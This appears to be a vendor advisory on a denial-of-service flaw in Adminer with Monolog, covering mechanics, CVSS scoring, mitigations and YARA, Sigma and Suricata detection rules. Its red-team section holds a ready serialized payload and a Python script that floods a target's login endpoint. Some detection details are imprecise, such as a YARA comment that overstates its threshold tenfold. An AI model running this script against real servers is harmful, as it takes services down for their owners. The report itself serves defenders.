CVE-2025-43960

Executive Summary

CVE-2025-43960 is a critical Denial of Service (DoS) vulnerability in Adminer 4.8.1, specifically when the application is configured to use Monolog for logging. The flaw stems from a PHP Object Injection (POI) issue, where a remote, unauthenticated attacker can send a crafted serialized payload containing an extremely large string length (e.g., s:1000000000). This forces PHP to allocate excessive memory during deserialization, leading to memory exhaustion, unresponsiveness of the Adminer interface, and a server-level DoS. While the server may recover after several minutes, multiple simultaneous requests can cause a complete crash requiring manual intervention. The vulnerability has a CVSS base score of 7.5 (High) due to its network attack vector, low complexity, and high availability impact.

Supply Chain & Package Security

Adminer is a popular single-file PHP database management tool. The vulnerability is introduced through the Monolog logging library, which is a dependency. The attack does not require authentication, making it particularly dangerous for exposed instances. The lack of a patch or official advisory from the vendor increases the risk, as users must rely on manual mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability.
• Base Score: 7.5 (High)
• Temporal Score: 7.5 (No patch, no exploit maturity data)
• Environmental Score: Varies based on network segmentation and resource limits.

Deep Dive & Mechanics

The vulnerability resides in how Adminer handles serialized PHP objects when Monolog is used for logging. Monolog’s logging mechanism may deserialize user-supplied data without proper validation. By crafting a serialized payload with an extremely large string length (e.g., O:1:"A":1:{s:1:"x";s:1000000000:"a";}), the attacker triggers PHP’s internal memory allocation for a string of that size. This causes immediate memory exhaustion, as PHP attempts to allocate the specified memory block, leading to a crash or unresponsiveness.

The attack flow:

1. Attacker identifies an Adminer instance with Monolog enabled.
2. Attacker sends a POST request to a vulnerable endpoint (e.g., login or logging endpoint) with a crafted serialized payload.
3. Adminer’s Monolog handler deserializes the payload, triggering memory allocation.
4. PHP runs out of memory, causing the Adminer interface to become unresponsive.
5. Multiple concurrent requests can exhaust server resources, requiring manual restart.

Vulnerable vs. Patched Code

Vulnerable Code (Adminer 4.8.1 with Monolog):

// Example of vulnerable deserialization in Monolog handler
$logData = unserialize($input); // No validation on input size

Patched Code (Hypothetical):

// Validate input size before deserialization
if (strlen($input) > 1000000) {
    throw new \InvalidArgumentException('Input too large');
}
$logData = unserialize($input);

Key Difference: The patched version adds a size check before deserialization to prevent memory exhaustion. Without a vendor patch, users must implement this check manually or disable Monolog.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Adminer 4.8.1 with Monolog enabled.
• Network access to the Adminer instance.

Exploit Payload:

// Crafted serialized object to trigger memory exhaustion
$payload = 'O:1:"A":1:{s:1:"x";s:1000000000:"a";}';

Exploit Script (Python):

import requests

target = "http://target/adminer.php"
payload = 'O:1:"A":1:{s:1:"x";s:1000000000:"a";}'

# Send payload to a vulnerable endpoint (e.g., login)
data = {"username": payload, "password": "test"}
try:
    response = requests.post(target, data=data, timeout=5)
except requests.exceptions.Timeout:
    print("Target unresponsive - DoS likely successful")
except Exception as e:
    print(f"Error: {e}")

Expected Outcome: The Adminer interface becomes unresponsive. Multiple requests can crash the server.

Blue Team

Detection:

• Monitor for unusually large POST request bodies (>1MB).
• Alert on PHP memory exhaustion errors in logs.
• Use WAF rules to block serialized payloads with excessive string lengths.

Mitigation:

• Disable Monolog logging in Adminer configuration.
• Implement input size limits at the web server level (e.g., Nginx client_max_body_size).
• Use a reverse proxy to filter malicious payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests with body size > 1MB.
  • Payloads containing s:1000000000 or similar large string lengths.
  • Repeated connection timeouts to Adminer endpoints.

• Host IOCs:

  • PHP memory exhaustion errors in logs (e.g., Allowed memory size of X bytes exhausted).
  • High memory usage by PHP-FPM or Apache processes.
  • Adminer interface unresponsive or returning 500 errors.

• File IOCs:

  • Log files containing serialized payloads with large s: values.

Detection Engineering

YARA Rule

rule CVE_2025_43960_Adminer_DoS {
    meta:
        description = "Detects serialized payloads with excessive string lengths targeting Adminer"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-43960"
    strings:
        $serialized = /s:\d{7,}:/  // Matches string lengths of 10 million or more
    condition:
        $serialized
}

Sigma Rule

title: Adminer DoS via Serialized Payload
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2025-43960 by sending large serialized payloads
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'adminer'
        sc-bytes|gte: 1000000
    condition: selection
falsepositives:
    - Legitimate large file uploads (unlikely for Adminer)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-43960 Adminer DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"adminer"; http_uri; pcre:"/s:\d{7,}:/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable Monolog logging in Adminer configuration (adminer.php).
   • Restrict network access to Adminer (e.g., VPN, firewall rules).
   • Implement input size limits at the web server (e.g., client_max_body_size 1M in Nginx).

2. Long-term Fixes:

   • Monitor for vendor patches and apply when available.
   • Replace Adminer with a more secure alternative (e.g., phpMyAdmin with proper hardening).
   • Implement a Web Application Firewall (WAF) to block serialized payloads.

3. Detection & Monitoring:

   • Deploy YARA/Sigma/Suricata rules from this report.
   • Enable PHP memory limit monitoring and alerting.
   • Conduct regular vulnerability scans.

Valters IT
Securing Digital Frontiers